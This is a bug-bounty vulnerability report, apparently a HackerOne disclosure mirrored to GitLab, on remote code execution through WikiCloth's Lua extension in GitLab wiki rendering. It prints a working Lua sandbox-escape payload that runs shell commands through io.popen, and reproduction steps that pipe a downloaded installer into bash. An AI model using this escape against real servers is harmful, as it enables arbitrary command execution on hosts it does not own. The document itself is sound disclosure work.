RCE via WikiCloth markdown rendering if the `rubyluabridge` gem is installed
HackerOne report #1401444 by vakzz on 2021-11-16, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
One of the supported wiki formats is mediawiki which is rendered by WikiCloth via GitLab Markup:
https://gitlab.com/gitlab-org/gitlab-markup/-/blob/v1.7.1/lib/github/markups.rb#L24-28
markup(:wikicloth, /mediawiki|wiki/) do |content|
wikicloth = WikiCloth::WikiCloth.new(:data => content)
WikiCloth::WikiBuffer::HTMLElement::ESCAPED_TAGS << 'tt'
wikicloth.to_html(:noedit => true)
end
One of the extensions that WikiCloth has is for lua (eg lua.wiki), which allows lua code to be run and the results rendered inside of the page by using either {{#luaexpr:lua expression}} or <lua>lua code here</lua>. This extension is enabled if the rubyluabridge gem can be required:
https://github.com/nricciar/wikicloth/blob/v0.8.1/lib/wikicloth/extensions/lua.rb#L1-L6
begin
require 'rubyluabridge'
DISABLE_LUA = false
rescue LoadError
DISABLE_LUA = true
end
The lua code is meant to be executed in a sandbox, but looking at the lua wiki on sandboxing one of the things mentioned is:
loadstring -- UNSAFE. See load. Even this isn't safe. For example,
pcall(safeloadstring, some_script)will load some_script in global environment. --SergeyRozhenko
local oldloadstring = loadstring
local function safeloadstring(s, chunkname)
local f, message = oldloadstring(s, chunkname)
if not f then
return f, message
end
setfenv(f, getfenv(2))
return f
end
This is the exact code that WikiCloth is using in their wrapper https://github.com/nricciar/wikicloth/blob/master/lib/wikicloth/extensions/lua/luawrapper.lua#L83-L92, so the provided bypass can be used to execute arbitrary lua:
<lua>
_,execute = pcall(loadstring,
[[
local command = ...;
local handle = io.popen(command)
local result = handle:read("*a")
handle:close()
return result;
]]
);
print(execute('id'));
execute('echo vakzz > /tmp/ggg');
</lua>
Luckily it's pretty unlikely that the rubyluabridge gem will be installed. There is a current ubuntu package https://packages.ubuntu.com/bionic/ruby/ruby-luabridge that can just be installed with apt, or a rubygem version at https://rubygems.org/gems/Tamar. Potentially another gem could start depending on it, or if gitlab is installed from source and the ruby environment is shared, the apt version could be present.
Steps to reproduce
- Install the
rubyluabridgegem
- If using the omnibus edition then you will need to do something like the following to get it in the correct spot:
curl -sSL https://get.rvm.io | bash
source /etc/profile.d/rvm.sh
rvm install 2.7.4
git clone https://github.com/neomantra/rubyluabridge
sudo apt install liblua5.1-0-dev libboost-dev
./build/extconf_ubuntu.sh
make
sudo cp rubyluabridge.so /opt/gitlab/embedded/lib/ruby/2.7.0/rubyluabridge.so
- Create a new project and add a wiki page
- Clone the wiki (clone url should end in
.wiki.git) - Create a file
hello.wikiwith the following contents:
<lua>
_,execute = pcall(loadstring,
[[
local command = ...;
local handle = io.popen(command)
local result = handle:read("*a")
handle:close()
return result;
]]
);
print(execute('id'));
execute('echo vakzz > /tmp/ggg');
</lua>
- Add, commit and push the file
- Visit the new wiki page on gitlab, you should see the output of the
idcommand - See that the file
/tmp/ggghas been created
Impact
If the rubyluabridge gem has been manually installed, or if another gem starts depending on it, a user with the ability to add wiki pages can run arbitrary commands on the gitlab server
What is the current bug behavior?
The lua sandbox can be escaped using code from the official wiki.
What is the expected correct behavior?
Probably all of the WikiCloth extensions should be disabled unless explicitly enabled, I cant really see a need for executing lua when rendering a wiki page.
Output of checks
Results of GitLab environment info
Impact
If the rubyluabridge gem has been manually installed, or if another gem starts depending on it, a user with the ability to add wiki pages can run arbitrary commands on the gitlab server
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
